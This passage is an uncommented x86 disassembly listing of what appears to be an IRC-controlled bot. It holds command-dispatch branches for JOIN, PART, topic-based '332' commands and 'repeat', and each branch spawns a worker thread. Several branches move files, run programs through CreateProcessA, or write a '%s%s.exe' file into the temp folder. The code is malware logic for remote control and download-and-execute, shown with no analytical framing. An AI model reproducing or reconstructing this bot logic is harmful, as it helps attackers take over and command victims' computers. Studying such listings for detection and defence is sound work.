Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr dword_455E18[eax], 73h jnz loc_409B16 push esi push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_456030 push eax push edi push offset aSSS ; "[%s] * %s %s" jmp loc_407CB0 ; --------------------------------------------------------------------------- loc_407BD8: ; CODE XREF: sub_401CC7+4F80j ; sub_401CC7+4F97j push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx cmp byte_456030[eax], bl jz loc_409B16 cmp [ebp+var_C], ebx jz loc_409B16 push edi ; Str call _strlen push [ebp+Source] ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 14h cmp esi, ebx jz loc_409B16 push [ebp+Source] ; Str call _atoi test eax, eax pop ecx jle loc_409B16 push [ebp+Source] ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B16 push ebx ; int push ebx ; int push esi ; int push edi ; Str push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx push dword_456024[eax] ; int call sub_409D34 push [ebp+Source] ; Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr dword_455E18[eax], 73h jnz loc_409B16 push esi push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_456030 push eax push edi push offset aSSS_0 ; "[%s] <%s> %s" loc_407CB0: ; CODE XREF: sub_401CC7+5F0Cj lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 28h jmp loc_409B16 ; --------------------------------------------------------------------------- loc_407CDD: ; CODE XREF: sub_401CC7+4F52j ; sub_401CC7+4F69j push [ebp+Source] call dword_4E3138 ; inet_addr push edi ; Str mov [ebp+var_680], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_690], eax call _atoi mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax ; Dest call _strncpy add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Dst] push offset asc_443054 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset sub_40CE95 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_407DBF loc_407DA9: ; CODE XREF: sub_401CC7+60F6j cmp [ebp+var_670], ebx jnz loc_403F8B push 32h call ds:dword_4F534C ; Sleep jmp short loc_407DA9 ; --------------------------------------------------------------------------- loc_407DBF: ; CODE XREF: sub_401CC7+60E0j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_443090 jmp loc_403F7C ; --------------------------------------------------------------------------- loc_407DD0: ; CODE XREF: sub_401CC7+4F24j ; sub_401CC7+4F3Bj push [ebp+Source] ; Str call _atoi mov [ebp+var_112C], eax push 7Fh ; Count lea eax, [ebp+var_1230] push edi ; Source push eax ; Dest call _strncpy push [ebp+Src] ; Str call _atoi mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+Format] ; Format mov [ebp+var_1238], esi push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AF71 pop ecx push eax lea eax, [ebp+Dst] push offset asc_442FC8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 18h ; int push eax ; Source call sub_40B756 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset sub_410E2B push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_407EBC loc_407EA6: ; CODE XREF: sub_401CC7+61F3j cmp [ebp+var_1118], ebx jnz loc_403F8B push 32h call ds:dword_4F534C ; Sleep jmp short loc_407EA6 ; --------------------------------------------------------------------------- loc_407EBC: ; CODE XREF: sub_401CC7+61DDj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_443004 jmp loc_403F7C ; --------------------------------------------------------------------------- loc_407ECD: ; CODE XREF: sub_401CC7+4EF6j ; sub_401CC7+4F0Dj push 0FFh ; Count lea eax, [ebp+var_2878] push [ebp+Source] ; Source push eax ; Dest call _strncpy push 0FFh ; Count lea eax, [ebp+var_2778] push edi ; Source push eax ; Dest call _strncpy push [ebp+Src] ; Str mov [ebp+var_2674], ebx call _atoi mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407F26 push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407F2C ; --------------------------------------------------------------------------- loc_407F26: ; CODE XREF: sub_401CC7+6249j mov [ebp+var_2668], ebx loc_407F2C: ; CODE XREF: sub_401CC7+625Dj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407F43 push esi ; Str call _atoi pop ecx mov [ebp+var_266C], eax jmp short loc_407F49 ; --------------------------------------------------------------------------- loc_407F43: ; CODE XREF: sub_401CC7+626Bj mov [ebp+var_266C], ebx loc_407F49: ; CODE XREF: sub_401CC7+627Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+Source] lea eax, [ebp+Dst] push offset asc_442F4C ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 1Dh ; int push eax ; Source call sub_40B756 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset sub_416F62 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_407FFA loc_407FE4: ; CODE XREF: sub_401CC7+6331j cmp [ebp+var_2658], ebx jnz loc_4074F3 push 32h call ds:dword_4F534C ; Sleep jmp short loc_407FE4 ; --------------------------------------------------------------------------- loc_407FFA: ; CODE XREF: sub_401CC7+631Bj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442F78 jmp loc_4074E4 ; --------------------------------------------------------------------------- loc_40800B: ; CODE XREF: sub_401CC7+4EC8j ; sub_401CC7+4EDFj push 7Fh lea eax, [ebp+var_3490] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3410] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3390] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3310] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+Dst] push edi mov [ebp+var_3494], esi push [ebp+Source] push offset asc_442EC8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 12h ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset sub_415512 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4080E2 loc_4080CC: ; CODE XREF: sub_401CC7+6419j cmp [ebp+var_3284], ebx jnz loc_4074F3 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4080CC ; --------------------------------------------------------------------------- loc_4080E2: ; CODE XREF: sub_401CC7+6403j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442F04 jmp loc_4074E4 ; --------------------------------------------------------------------------- loc_4080F3: ; CODE XREF: sub_401CC7+4D9Bj ; sub_401CC7+4DB2j push 7Fh lea eax, [ebp+var_3068] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2FE8] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2F68] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2EE8] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+Dst] push edi mov [ebp+var_306C], esi push [ebp+Source] push offset asc_442DD8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Eh ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset sub_41424D push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4081CA loc_4081B4: ; CODE XREF: sub_401CC7+6501j cmp [ebp+var_2E5C], ebx jnz loc_4074F3 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4081B4 ; --------------------------------------------------------------------------- loc_4081CA: ; CODE XREF: sub_401CC7+64EBj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442E08 jmp loc_4074E4 ; --------------------------------------------------------------------------- loc_4081DB: ; CODE XREF: sub_401CC7+4C72j ; sub_401CC7+4C89j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3C64] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3BE4] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3B64] push [ebp+Format] ; Source push eax ; Dest call _strncpy push 20h ; Count lea eax, [ebp+var_3AE4] push [ebp+arg_8] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+Dst] push edi mov [ebp+var_3CEC], esi push [ebp+Source] push offset asc_442D14 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Dh ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset sub_4134D4 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4082C3 loc_4082AD: ; CODE XREF: sub_401CC7+65FAj cmp [ebp+var_3A5C], ebx jnz loc_4074F3 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4082AD ; --------------------------------------------------------------------------- loc_4082C3: ; CODE XREF: sub_401CC7+65E4j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442D44 jmp loc_4074E4 ; --------------------------------------------------------------------------- loc_4082D4: ; CODE XREF: sub_401CC7+4C44j ; sub_401CC7+4C5Bj push 7Fh ; Count lea eax, [ebp+var_1778] push [ebp+Source] ; Source push eax ; Dest call _strncpy push edi ; Str call _atoi push 3Fh ; Count mov [ebp+var_1628], eax push [ebp+Src] ; Source lea eax, [ebp+var_16F8] push eax ; Dest call _strncpy mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_40831F push 3Fh ; Count lea eax, [ebp+var_16B8] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_40831F: ; CODE XREF: sub_401CC7+6644j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+Dst] push offset asc_442C84 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Fh ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4019E7 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4083AB loc_408395: ; CODE XREF: sub_401CC7+66E2j cmp [ebp+var_161C], ebx jnz loc_406F59 push 32h call ds:dword_4F534C ; Sleep jmp short loc_408395 ; --------------------------------------------------------------------------- loc_4083AB: ; CODE XREF: sub_401CC7+66CCj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_442CB4 jmp loc_406F4A ; --------------------------------------------------------------------------- loc_4083BC: ; CODE XREF: sub_401CC7+4C04j ; sub_401CC7+4C1Bj push edi ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_4084AF push [ebp+Source] ; Format mov esi, 80h lea eax, [ebp+var_1EEC] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+Format] ; Format setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+Source] lea eax, [ebp+Dst] push offset asc_442BDC ; "-" push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 15h ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset sub_41391E push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_40849E loc_40848C: ; CODE XREF: sub_401CC7+67D5j cmp [ebp+var_1D54], ebx jnz short loc_408506 push 32h call ds:dword_4F534C ; Sleep jmp short loc_40848C ; --------------------------------------------------------------------------- loc_40849E: ; CODE XREF: sub_401CC7+67C3j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442C08 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_4084AF: ; CODE XREF: sub_401CC7+6704j push offset unk_442C40 jmp loc_40717F ; --------------------------------------------------------------------------- loc_4084B9: ; CODE XREF: sub_401CC7+4BD6j ; sub_401CC7+4BEDj push edi push [ebp+Source] call ds:dword_4F5388 ; MoveFileA test eax, eax jz short loc_4084E6 push edi lea eax, [ebp+Dst] push [ebp+Source] push offset asc_442B98 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_408506 ; --------------------------------------------------------------------------- loc_4084E6: ; CODE XREF: sub_401CC7+67FEj push offset dword_442BBC call sub_418E65 pop ecx push eax ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf loc_408503: ; CODE XREF: sub_401CC7+2F1Bj ; sub_401CC7+55F0j add esp, 0Ch loc_408506: ; CODE XREF: sub_401CC7+2127j ; sub_401CC7+2EBDj ... cmp [ebp+var_8], ebx jnz loc_408637 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int loc_408523: ; CODE XREF: sub_401CC7+5847j call sub_409D34 add esp, 14h jmp loc_408637 ; --------------------------------------------------------------------------- loc_408530: ; CODE XREF: sub_401CC7+4BA8j ; sub_401CC7+4BBFj push [ebp+Source] ; Format lea eax, [ebp+var_3F04] push 104h ; Count push eax ; Dest call __snprintf add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_40856A push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_40856A push eax ; Format lea eax, [ebp+var_3E00] push eax ; Dest call _sprintf pop ecx pop ecx loc_40856A: ; CODE XREF: sub_401CC7+6883j ; sub_401CC7+6892j push [ebp+Format] ; Format lea eax, [ebp+var_3F84] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset asc_442B20 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 24h ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset sub_417822 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_40861C loc_40860A: ; CODE XREF: sub_401CC7+6953j cmp [ebp+var_3CF0], ebx jnz short loc_408637 push 32h call ds:dword_4F534C ; Sleep jmp short loc_40860A ; --------------------------------------------------------------------------- loc_40861C: ; CODE XREF: sub_401CC7+6941j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset asc_442B50 ; "-" loc_408628: ; CODE XREF: sub_401CC7+90Dj ; sub_401CC7+A4Bj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_408637: ; CODE XREF: sub_401CC7+7D2j ; sub_401CC7+934j ... push 1 pop esi jmp loc_406F7D ; --------------------------------------------------------------------------- loc_40863F: ; CODE XREF: sub_401CC7+4B7Aj ; sub_401CC7+4B91j push 44h lea eax, [ebp+var_668] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+Source] ; Str mov [ebp+var_63C], esi call _atoi add esp, 10h cmp eax, esi jnz short loc_40867E mov [ebp+var_638], 5 loc_40867E: ; CODE XREF: sub_401CC7+69ACj cmp [ebp+var_C], ebx jz loc_406F59 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406F59 lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_4F5340 ; CreateProcessA test eax, eax jnz short loc_4086C7 push offset unk_442AD0 jmp loc_408850 ; --------------------------------------------------------------------------- loc_4086C7: ; CODE XREF: sub_401CC7+69F4j push edi push offset dword_442AF4 jmp loc_406F4A ; --------------------------------------------------------------------------- loc_4086D2: ; CODE XREF: sub_401CC7+4B4Cj ; sub_401CC7+4B63j push edi ; Str2 push offset aTrb ; "trb" call _strcmp pop ecx test eax, eax pop ecx jz loc_40884B lea eax, [ebp+var_48F0] push eax push 104h call ds:dword_4F5384 ; GetTempPathA push 0FFh ; Count lea eax, [ebp+var_25D0] push [ebp+Source] ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_17D0] push eax call sub_40B135 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax ; Dest call _sprintf mov eax, [ebp+esi+Str2] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_408767 push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_40876D ; --------------------------------------------------------------------------- loc_408767: ; CODE XREF: sub_401CC7+6A8Aj mov [ebp+var_23C0], ebx loc_40876D: ; CODE XREF: sub_401CC7+6A9Ej mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408784 push esi ; Str call _atoi pop ecx mov [ebp+var_23C4], eax jmp short loc_40878A ; --------------------------------------------------------------------------- loc_408784: ; CODE XREF: sub_401CC7+6AACj mov [ebp+var_23C4], ebx loc_40878A: ; CODE XREF: sub_401CC7+6ABBj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+Source] mov [ebp+var_23B8], eax lea eax, [ebp+Dst] push offset asc_442A14 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 1Eh ; int push eax ; Source call sub_40B756 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset sub_416F62 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_40883A loc_408824: ; CODE XREF: sub_401CC7+6B71j cmp [ebp+var_23B0], ebx jnz loc_406F59 push 32h call ds:dword_4F534C ; Sleep jmp short loc_408824 ; --------------------------------------------------------------------------- loc_40883A: ; CODE XREF: sub_401CC7+6B5Bj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_442A40 jmp loc_406F4A ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401CC7+6A1Aj push offset asc_442A7C ; "-" loc_408850: ; CODE XREF: sub_401CC7+2E64j ; sub_401CC7+4574j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_406F59 ; --------------------------------------------------------------------------- loc_408863: ; CODE XREF: sub_401CC7+4B1Ej ; sub_401CC7+4B35j push dword ptr [ebp+Args] ; Str2 push offset a332_0 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_402085 cmp [ebp+var_C], ebx jz loc_402085 push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx pop ecx push eax lea eax, [ebp+Dst] push [ebp+Format] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy push [ebp+Source] ; Str call _atoi add esp, 28h test eax, eax jle short loc_4088EE push [ebp+Source] ; Str call _atoi imul eax, 3E8h pop ecx push eax call ds:dword_4F534C ; Sleep loc_4088EE: ; CODE XREF: sub_401CC7+6C0Fj push offset dword_4429E8 call sub_415C3F mov eax, [ebp+File] pop ecx inc eax jmp loc_402088 ; --------------------------------------------------------------------------- loc_408902: ; CODE XREF: sub_401CC7+4AF0j ; sub_401CC7+4B07j push dword ptr [ebp+Args] ; Str2 push offset a332_1 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_402085 cmp [ebp+var_C], ebx jz loc_409B16 push edi ; SubStr push [ebp+var_C] ; Str call _strstr inc edi push offset aRepeat_0 ; "repeat" push edi ; Str1 mov esi, eax call _strcmp add esp, 10h test eax, eax push esi jz short loc_4089C0 push [ebp+Format] lea eax, [ebp+Dst] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS_0 ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy add esp, 24h lea eax, [ebp+Dst] push esi push offset asc_44297C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415C3F push [ebp+Source] ; Str call _atoi add esp, 14h test eax, eax jle loc_409B16 push [ebp+Source] ; Str call _atoi add eax, [ebp+File] pop ecx jmp loc_402088 ; --------------------------------------------------------------------------- loc_4089C0: ; CODE XREF: sub_401CC7+6C7Bj push offset asc_442994 ; "-" loc_4089C5: ; CODE XREF: sub_401CC7+75EBj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_4089D4: ; CODE XREF: sub_401CC7+7573j ; sub_401CC7+76CCj cmp [ebp+var_8], ebx jnz short loc_4089F5 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_4089F5: ; CODE XREF: sub_401CC7+6D10j ; sub_401CC7+7370j ... lea eax, [ebp+Dst] push eax call sub_415C3F jmp loc_409B15 ; --------------------------------------------------------------------------- loc_408A06: ; CODE XREF: sub_401CC7+4AC2j ; sub_401CC7+4AD9j push 7Fh ; Count lea eax, [ebp+var_2214] push [ebp+Source] ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2194] push edi ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2114] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+Source] mov [ebp+var_208C], eax lea eax, [ebp+Dst] mov [ebp+var_2218], esi push offset asc_4428E4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Fh ; int push eax ; Source call sub_40B756 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset sub_414E4C push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_408AC6 loc_408AB4: ; CODE XREF: sub_401CC7+6DFDj cmp [ebp+var_2088], ebx jnz short loc_408AE1 push 32h call ds:dword_4F534C ; Sleep jmp short loc_408AB4 ; --------------------------------------------------------------------------- loc_408AC6: ; CODE XREF: sub_401CC7+6DEBj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset asc_442918 ; "-" loc_408AD2: ; CODE XREF: sub_401CC7+6F0Aj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_408AE1: ; CODE XREF: sub_401CC7+6DF3j ; sub_401CC7+6EEEj cmp [ebp+var_8], ebx jnz loc_4098F2 push ebx lea eax, [ebp+Dst] push [ebp+var_4] push eax push [ebp+Format] push esi jmp loc_4098EA ; --------------------------------------------------------------------------- loc_408B01: ; CODE XREF: sub_401CC7+4A94j ; sub_401CC7+4AABj push 7Fh ; Count lea eax, [ebp+var_23A8] push [ebp+Source] ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2328] push edi ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_22A8] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+Source] mov [ebp+var_2220], eax lea eax, [ebp+Dst] mov [ebp+var_23AC], esi push offset asc_442870 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 11h ; int push eax ; Source call sub_40B756 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset sub_4145F8 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_408BC5 loc_408BAF: ; CODE XREF: sub_401CC7+6EFCj cmp [ebp+var_221C], ebx jnz loc_408AE1 push 32h call ds:dword_4F534C ; Sleep jmp short loc_408BAF ; --------------------------------------------------------------------------- loc_408BC5: ; CODE XREF: sub_401CC7+6EE6j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_44289C jmp loc_408AD2 ; --------------------------------------------------------------------------- loc_408BD6: ; CODE XREF: sub_401CC7+4A66j ; sub_401CC7+4A7Dj push edi lea eax, [ebp+Dst] push offset aPartS_0 ; "PART %s" push eax ; Dest call _sprintf push [ebp+Source] ; Str call _atoi add esp, 10h test eax, eax jle loc_409B16 push [ebp+Source] ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B16 lea eax, [ebp+Dst] push eax ; Args push offset aS_14 ; "%s\r\n" loc_408C1B: ; CODE XREF: sub_401CC7+6FBFj ; sub_401CC7+7B1Dj push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx push dword_456024[eax] ; int call sub_409CEE jmp loc_404B1E ; --------------------------------------------------------------------------- loc_408C3A: ; CODE XREF: sub_401CC7+4A38j ; sub_401CC7+4A4Fj push [ebp+esi+Str2] lea eax, [ebp+Dst] push edi push offset aJoinSS_1 ; "JOIN %s %s" push eax ; Dest call _sprintf push [ebp+Source] ; Str call _atoi add esp, 14h test eax, eax jle loc_409B16 push [ebp+Source] ; Str call _atoi cmp eax, 400h pop ecx jge 